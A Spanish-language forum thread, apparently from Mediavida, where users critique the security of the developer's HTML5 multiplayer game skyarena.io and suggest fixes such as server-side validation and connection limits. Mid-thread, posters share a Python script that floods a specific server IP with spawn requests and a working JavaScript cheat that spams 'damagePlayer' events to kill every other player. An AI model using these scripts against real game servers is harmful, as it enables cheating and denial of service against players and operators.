skyarena.io - War Thunder MMO HTML5

E

#87

#87Midgard:

pero ahora ya es todo bastante recochineo por cómo te respondí a la hora de hackear, mis disculpas por cierto.

Gracias por las disculpas. Nosotros sólo te pretendíamos ayudar, y no fue nada acertado amenazarnos con denunciarnos.

  • Como bien te han dicho arriba, NUNCA te fíes del usuario. los inputs se deben de escapar SIEMPRE, porque SIEMPRE habrá alguien que te la intente colar por ahí. Por cierto, has escapado los nicks de blastarena?

  • Speedhack. Podrías comprobar las posiciones del avión, que no exista una variación de X distancia, no se, algo...

    this.lerpedMouse.lerp(this.lerpedMouse, this.mouseIndicator.getPosition(), .03), this.entity.lookAt(this.lerpedMouse, this.entity.up), this.velocity.copy(this.entity.forward).scale(140 * t).add(this.entity.getPosition()), this.entity.setLocalPosition(this.velocity), this.isThrottleBttnDown === !0 ? (this.throttle -= 25 * t, this.throttle < 5 && (this.throttle = 5)) : (this.throttle += 5 * t, this.throttle > 10 && (this.throttle = 10)), C.socket.emit("planeUpdate", {

    Algo que no sea simplemente enviar la posición al servidor y que este se la trague con patatas.

  • Instantkill: esto no lo he probado porque no he tenido tiempo, pero creo que puedes spawnear tus disparos en la cara del enemigo y que impacten al instante. O incluso mandar el paquete de que les has matado. Y me la juego a que cuela.

  • Obfuscar: por supuesto que esto no es la opción definitiva, ni mucho menos. Pero ya haces que se le quiten las ganas a mucha gente de andar ojeando el código fuente. Te dije: mira las opciones avanzadas. Y seguro que ni lo intentaste. https://developers.google.com/closure/compiler/docs/api-tutorial3

    How to Declare Externs with the Closure Compiler Application

    java -jar compiler.jar --compilation_level ADVANCED_OPTIMIZATIONS \
      --js makeallnotes.js --externs extern1.js --externs extern2.js

    Donde externs son las librerias externas que usas (playcanvas, socket.io, y cualquier otra que uses. Las versiones normales, no las minificadas).

  • Limita conexiones... Puedes usar un hashmap/diccionario para ello.

    from socketIO_client import SocketIO, LoggingNamespace
    from time import sleep
    import string
    import random
    import threading
    
    def id_generator(size=6, chars=string.ascii_uppercase + string.digits):
        return ''.join(random.choice(chars) for _ in range(size))
    
    def on_bbb_response(*args):
        print('on_bbb_response', args)
    
    def worker():
        while 1:
            with SocketIO('8.26.94.106', 5859, LoggingNamespace) as socketIO:
                socketIO.emit('requestSpawn', {'username': id_generator()}, on_bbb_response)
    
    threads = list()
    for i in range(20):
        t = threading.Thread(target=worker)
        threads.append(t)
        t.start()
    • Aprende a usar TypeScript, no uses JS a pelo. Te ayudará a mantener organizado tu código fuente.

    • Coge un buen libro de programación (ya que sabes c#, lo cogería sobre ello) y estudiatelo. Te faltan conocimientos, que te ayudarán y mucho a mejorar como programador.

    Por mi parte, fin. Suerte con tus videojuegos.

6 2 respuestas
Lecherito

#91 Estás diciendo que es un online donde eres tú el que envía la posición de las cosas al servidor en vez de una dirección y el servidor te da la posición? ayy lmao

1 respuesta
E

#92 no es autoritativo, ese es el problema. Y vale, puedes hacerlo no autoritativo, pero coño, comprueba las cosas un poco, no aceptes cualquier mierda xD

if (null !== this.controller) {
        if (this.controller.isShooting === !0 && (this.fireTimer += t, this.fireTimer > .1)) {
            var i = A.projectile.clone();
            i.enabled = !0;
            var o = new pc.Vec3;
            o.copy(this.entity.forward).scale(0).add(this.entity.getPosition()), i.setPosition(o), i.setRotation(this.entity.getRotation()), this.app.root.addChild(i), i.script.projectile.Fire(this.controller), this.fireTimer = 0
        }
        this.controller.health < 50 ? this.entity.findByName("DamagedParticles").particlesystem.play() : this.entity.findByName("DamagedParticles").particlesystem.stop()
    }

El spawn del proyectil. Toma como posición la posición de tu nave. ¿Y si hacemos que el proyectil salga en la posición de otro jugador? :ninjaedit:

 Projectile.prototype.update = function(t) {
    this.position && (this.position.copy(this.entity.forward).scale(250 * t).add(this.entity.getPosition()), this.entity.setLocalPosition(this.position)), this.lifeTime += t, this.lifeTime > 5 && this.entity.destroy()
};

El update() del proyectil. No hay nada interesante. Bueno, sí, que podríamos aumentar su velocidad... O cambiar el json del modelo y hacerlo de tamaño 5000000x500000 e iba a colisionar con todo...

Projectile.prototype.onTriggerEnter = function(t) {
    null !== this.owner.ownerSocketId && void 0 !== this.owner.ownerSocketId ? this.owner.ownerSocketId === C.id && ("PlaneCollisionBox" === t.name ? (C.socket.emit("damagePlayer", {
        id: t.parent.script.planeController.controller.ownerSocketId
    }), EffectsHandler.HitPlayer()) : "turretBody" === t.name && (C.socket.emit("damageTurret", {
        id: t.script.turretBehaviour.turret.id
    }), EffectsHandler.HitPlayer())) : "PlaneCollisionBox" === t.name && C.socket.emit("turretDamagePlayer", {
        id: t.parent.script.planeController.controller.ownerSocketId,
        turretId: this.owner.id
    }), this.entity.destroy()
},

La colisión. Esto si nos interesa... Y si hago un script que en un bucle while envie paquetes damagePlayer con la id de los jugadores que están jugando? :ninjaedit:

1 1 respuesta
B

Ay mi madre el bicho!

MisKo

#93

Lo del paquete damagePlayer, lo he hecho esta tarde en 15 minutos (lo que he tardado en ver de donde sacar los IDs de los aviones)

C.socket.on("matchUpdate", function(e) {

for ( var i = 0 ; i < e.totalPlayers ; i++ ) {
    var planeID = e.leaders[i].id ;

    if ( planeID !== C.id ) {
        C.socket.emit("damagePlayer", { id: planeID }) ;
        C.socket.emit("damagePlayer", { id: planeID }) ;
        C.socket.emit("damagePlayer", { id: planeID }) ;
        C.socket.emit("damagePlayer", { id: planeID }) ;
        C.socket.emit("damagePlayer", { id: planeID }) ;
        C.socket.emit("damagePlayer", { id: planeID }) ;
        C.socket.emit("damagePlayer", { id: planeID }) ;
        C.socket.emit("damagePlayer", { id: planeID }) ;
    }
}

}) ;

Simplemente he repetido varias veces la ultima linea para matarlos al instante. Además, aprovecho el evento de dibujar la tabla de puntuaciones para obtener los ids de todos los aviones y destrozar al que no sea yo.

Por cierto, no se si es pq envio muchos paquetes de golpe, pero a veces en vez de sumarme 1 kill, me sumaba 2 de golpe xD

4
DarkRaptor

#1
Una cosilla. Si el servidor no es el que calcula posiciones y demás eventos, tienes que efectuar comprobaciones de que el input que manda el usuario es al menos posible. Yo por desgracia tuve que funcionar parecido para el pserver y tú que tienes más margen de movimiento, joder, hazlo autoritativo, te ahorras muchos dolores de cabeza. Te buscas otros es verdad, pero no sé, será que yo acabé traumatizado xD.

Lo del tema paquetes es algo que siempre te van a acabar haciendo. Yo te recomendaría que en la medida de lo posible, además de comprobar que el contenido del paquete es posible antes de responder, autentificaras las conexiones que sí pueden mandar paquetes.

1 respuesta
B

#90 Todo esto para decirme...eh...que tus juegos se juegan. Pues OK, no me cites más, si este hilo solo me ha interesado por ver la chapuzas que eres :D

1 respuesta
B

#97 Sigue viviendo en tu mundo de yupi mientras los demás progresamos y hacemos del gamedev algo de lo que vivir.

#91 Gracias por toda la info, este finde me lo miro todo con detenimiento y empiezo a aplicar cambios.

#96 Lo que había pensado en hacer, a parte de verificar las posiciones y tal, es identificar los players con un captcha la primera vez que se abre el juego, si no cualquiera puede hacer un script y empezar a spammear desde donde quiera.. y eso es lo que estaba pasando hace un par de días con los "bots".

1 respuesta
B

#98 Vale, tu eres el profesional...eso dices tu. Pero vamos, me sigues pareciendo un chapucero del quince que esta en este mundo por el dinero. Pero no es nada que no sepas :D

Thouy

Te van a contratar para el nuevo Assassins Creed porque esto es una chapuza de nivel macho. Mira como consejo, prueba a venirte de olivas conmigo al campo porque llevo tiempo siguiendo tus juegos y no te veo con mucho futuro tron... Normal que sólo puedas promocionarte en MV por simple Selección Natural.

1 1 respuesta
B

#100 Mediavida no supone ninguna necesidad para mí, y creo hilos aquí complementando con el de mi informe de ingresos y demás, porque son de interés público.

Y el juego fue desarrollado en 24h, de ahí que esté en bragas prácticamente, a medida que pase el tiempo estará más pulido, como pasa con Blast Arena.

Debéis entender que por lo general, los juegos ".io" son juegos muy simples tanto en jugabilidad como apariencia, y están diseñados para los ratos muertos de los jugadores de cientos de portales web (que ahí es donde se promocionan los juegos, no en mediavida) - no pretenden ser una masterpiece ni nada por el estilo, simplemente son eso, juegos web fáciles de jugar.

1 respuesta
Lecherito

Yo no sé los demás, pero tus ingresos me las traen al pairo xdddd

2 respuestas
B

#102 Obviamente no le interesan a todo el mundo, pero sí que hay gente a la que le interesa tener una referencia de cuánto se gana y con qué clase de juegos, etc. A demás informar de mis ingresos a mí me supone un reto, ya que cada mes que cobro mierda me avergüenza y así me obligo a trabajar más y mejor.

E

#102 a mí me interesa. No todos podemos que... Ui, que meto un spoiler de tu próxima entrega. Fuera coñas. Siempre viene bien tener referencias. Ojalá colgase los analytics

1
HeXaN

Si es que le quitáis las ganas de todo hasta al tío más motivado.

8
Thouy

#101 Pues no vayas de fucking boss si no tienes ni warra y eres más vago que una percha, así de fácil.

Meleagant
#82Runig006:

ElRaro podria ahora mismo tener una lista muy mona con todas nuestras IPs, y no lo ha hecho.

No sé ni qué decirte si crees que saber la IP de alguien es un fallo de seguridad gordo cuando la mitad de los juegos multiplayer HTML5 que se hacían hasta hace un par de años eran P2P o hosteaba el propio cliente. Pero bueno qué te voy a contar si yo no sé de lo que hablo.

Midgard tiene sus fallos y programando no es el mejor, eso lo sabemos todos, pero entre los niñatos con ganas de joder y los envidiosos manda huevos que os creáis mejores.

PD: No ofuscar el código no es un fallo de seguridad, y que le recomendéis que haga eso en un juego HTML5 como si fuese un consejo profesional no sé ni cómo cogerlo.

3 1 respuesta
B

#107 Vale, tienes razón, me dejas en paz? Este hilo solo me interesaba por el hack y tal, y es muy pesado tener a alguien citandote cada cierto tiempo. Prefiero darte la razon antes que volver a contestar :D

1 respuesta
UlfiNiste

Paso de vez en cuando a ver qué tal te va, por curiosidad y ganas de conocer algo más el mundillo desde la perspectiva de un dev, una pena que tengas varios trols por el hilo, estaría genial que algún mod te echara un cable, ignóralos por cierto, el runing es un claro de ejemplo de niño que se viene arriba si lo citas y tal.

Pregunto, ¿tienes pensado llevar tus juegos a android/iOS?, ¿ves más rentable dedicarte a hacer juegos de navegador que de móvil?

1 1 respuesta
DarkRaptor

#1
Dado que por lo que veo vas a seguir desarrollando juegos de este corte (online, sencillitos, con una identificación rápida y una tabla de puntuaciones) creo que te sale a cuenta plantearte en términos de euros por hora el desarrollar un servidor base sobre el que luego programar el de tus juegos.

Algo que te permita, independientemente de lo que vayas a desarrollar después, proveer de funcionalidad online muy básica pero PULIDA y segura. Autentificar conexiones, gestionar los paquetes y ya si te animas pues implementar un log en un archivo de texto plano mismo. Hay sistemas profesionales de este tipo ya desarrollados (logs me refiero) pero creo que si quieres crecer y además tienes proyectos simples, es matar moscas a cañonazos.

1 respuesta
B

#109 Lo cierto es que sí, tengo pensado llevar mis futuros juegos a android/iOS, y esto implica volver a usar Unity, pero estoy retrasándolo debido a que aún existen muchos problemas en WebGL con Unity. Creo que lo ideal es publicar en cuantos más mercados mejor, y si son los móviles, mucho mejor aún debido al alcance que tienen.

#110 Llevas toda la razón del mundo, y hacerme un framework para mis servidores sería ideal, es algo que llevo en mente bastante tiempo para reducir tiempos de producción aún más.

D

Vaya atraso algunos en este hilo que solo se pasan a tirar mierda. Pero se ve de lejos de que parte del foro provienen.

Yo entro de vez en cuando a ver que tal sigue el proyecto. Animo y a ver si le das caña, mira de la noche a la mañana lo que pasó con Wilds. Les va cojonudo.

2 respuestas
B

#112 que paso de la noche a la mañana con wilds que no me entere? y define "les va cojonudo" por favor.

1 respuesta
JoSeTTo

En Safari no funciona.

D

#113 patreon, aunque ahora ha bajado un puñado cuando me he metido, hace dos meses o así estaba por las nubes, joder xD

PD: Vale es que ya tienen micropagos directos en web.

1 respuesta
B

#115 no estuvieron siempre por 300$ o asi en patreon?

1 respuesta
D

#116 yo recuerdo que alcanzaron bastante mas, pero llevo tiempo sin seguirlo, jugué unos días con unos colegas pero no le va mal, supongo que ahora lo que sacan de pasta es con la tienda por paypal.

itonny

#108 Es que estas hablando y metiendo mierda sin conocimiento de causa.

1 respuesta
B

#112 Al dev de wilds.io nunca le ha ido mal, trabaja para los publishers de juegos HTML5 más grandes y wilds.io está pulidísimo que da gusto jugar - aunque creo que como te han dicho ya el Patreon nunca ha tenido números muy tochos, se saca bastante más de ads/microtransacciones!

B

#118 Tienes razon. Digamos que no soy objetivo con los juegos de este usuario. Perdon por la falta de respeto hacia Meleagant (No se etiquetar nombres de usuarios sorry) dejo este tema por...por no se por terminado